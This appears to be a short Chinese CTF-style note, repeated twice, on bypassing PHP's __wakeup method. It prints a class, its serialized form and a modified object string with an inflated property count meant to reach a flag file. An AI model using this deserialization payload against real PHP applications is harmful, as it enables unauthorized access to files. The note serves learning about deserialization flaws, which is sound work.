要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过。
<?php
class X
{
public $x ='fllllllag.php';
}
$a=new X();
echo serialize($a);
O:1:“X”:1:{s:1:“x”;s:13:“fllllllag.php”;} 修改为
O:1:“X”:3:{s:1:“x”;s:13:“fllllllag.php”;}
要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过。
<?php
class X
{
public $x ='fllllllag.php';
}
$a=new X();
echo serialize($a);
O:1:“X”:1:{s:1:“x”;s:13:“fllllllag.php”;} 修改为
O:1:“X”:3:{s:1:“x”;s:13:“fllllllag.php”;}